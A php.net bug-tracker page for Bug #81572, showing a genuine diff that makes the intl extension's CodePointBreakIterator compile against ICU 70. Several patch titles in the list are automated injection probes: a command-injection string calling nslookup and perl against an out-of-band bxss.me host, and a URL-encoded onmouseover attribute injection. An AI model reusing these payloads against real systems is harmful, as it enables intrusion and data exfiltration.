php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Return to Bug #81572
Patch HcPcEgmp revision 2021-10-31 03:47 UTC by sample at email dot tst
revision 2021-10-31 03:47 UTC by sample at email dot tst
revision 2021-10-31 03:47 UTC by sample at email dot tst
revision 2021-10-31 03:46 UTC by sample at email dot tst
revision 2021-10-31 03:44 UTC by sample at email dot tst
revision 2021-10-31 03:44 UTC by sample at email dot tst
revision 2021-10-31 03:44 UTC by sample at email dot tst
revision 2021-10-31 03:43 UTC by sample at email dot tst
revision 2021-10-31 03:42 UTC by sample at email dot tst
revision 2021-10-31 03:42 UTC by sample at email dot tst
revision 2021-10-31 03:42 UTC by sample at email dot tst
Patch %48%63%50%63%45%67%6D%70%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%35%36%54%75%28%3 revision 2021-10-31 03:43 UTC by sample at email dot tst
Patch (nslookup hitdggtsokljmd761b.bxss.me||perl -e "gethostbyname('hitdggtsokljmd761b revision 2021-10-31 03:42 UTC by sample at email dot tst
Patch icu70betterpatch revision 2021-10-30 19:21 UTC by jpbion at gmail dot com
Patch icu70patch revision 2021-10-30 13:57 UTC by jpbion at gmail dot com

Patch icu70betterpatch for intl Bug #81572

Patch version 2021-10-30 19:21 UTC

Return to Bug #81572 | Download this patch
This patch is obsolete

Obsoleted by patches:

Patch Revisions:

Developer: jpbion@gmail.com

diff --git a/ext/intl/breakiterator/codepointiterator_internal.cpp b/ext/intl/breakiterator/codepointiterator_internal.cpp
index 71ba056994..b00e5b4ef5 100644
--- a/ext/intl/breakiterator/codepointiterator_internal.cpp
+++ b/ext/intl/breakiterator/codepointiterator_internal.cpp
@@ -14,6 +14,7 @@
 
 #include "codepointiterator_internal.h"
 #include <unicode/uchriter.h>
+#include <unicode/uversion.h>
 #include <typeinfo>
 
 #include "php.h"
@@ -73,7 +74,11 @@ CodePointBreakIterator::~CodePointBreakIterator()
 	clearCurrentCharIter();
 }
 
-UBool CodePointBreakIterator::operator==(const BreakIterator& that) const
+#if U_ICU_VERSION_MAJOR_NUM >= 70
+bool CodePointBreakIterator::operator==(const BreakIterator& that) const
+#else
+UBool CodePointBreakIterator::operator==(const BreakIterator& that) const  
+#endif
 {
 	if (typeid(*this) != typeid(that)) {
 		return false;
diff --git a/ext/intl/breakiterator/codepointiterator_internal.h b/ext/intl/breakiterator/codepointiterator_internal.h
index 43ec79d0b7..334981f96f 100644
--- a/ext/intl/breakiterator/codepointiterator_internal.h
+++ b/ext/intl/breakiterator/codepointiterator_internal.h
@@ -17,6 +17,7 @@
 
 #include <unicode/brkiter.h>
 #include <unicode/unistr.h>
+#include <unicode/uversion.h>
 
 using icu::BreakIterator;
 using icu::CharacterIterator;
@@ -37,8 +38,11 @@ namespace PHP {
 
 		virtual ~CodePointBreakIterator();
 
+#if U_ICU_VERSION_MAJOR_NUM >= 70
+		virtual bool operator==(const BreakIterator& that) const;
+#else
 		virtual UBool operator==(const BreakIterator& that) const;
-
+#endif
 		virtual CodePointBreakIterator* clone(void) const;
 
 		virtual UClassID getDynamicClassID(void) const;
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 16:01:28 2024 UTC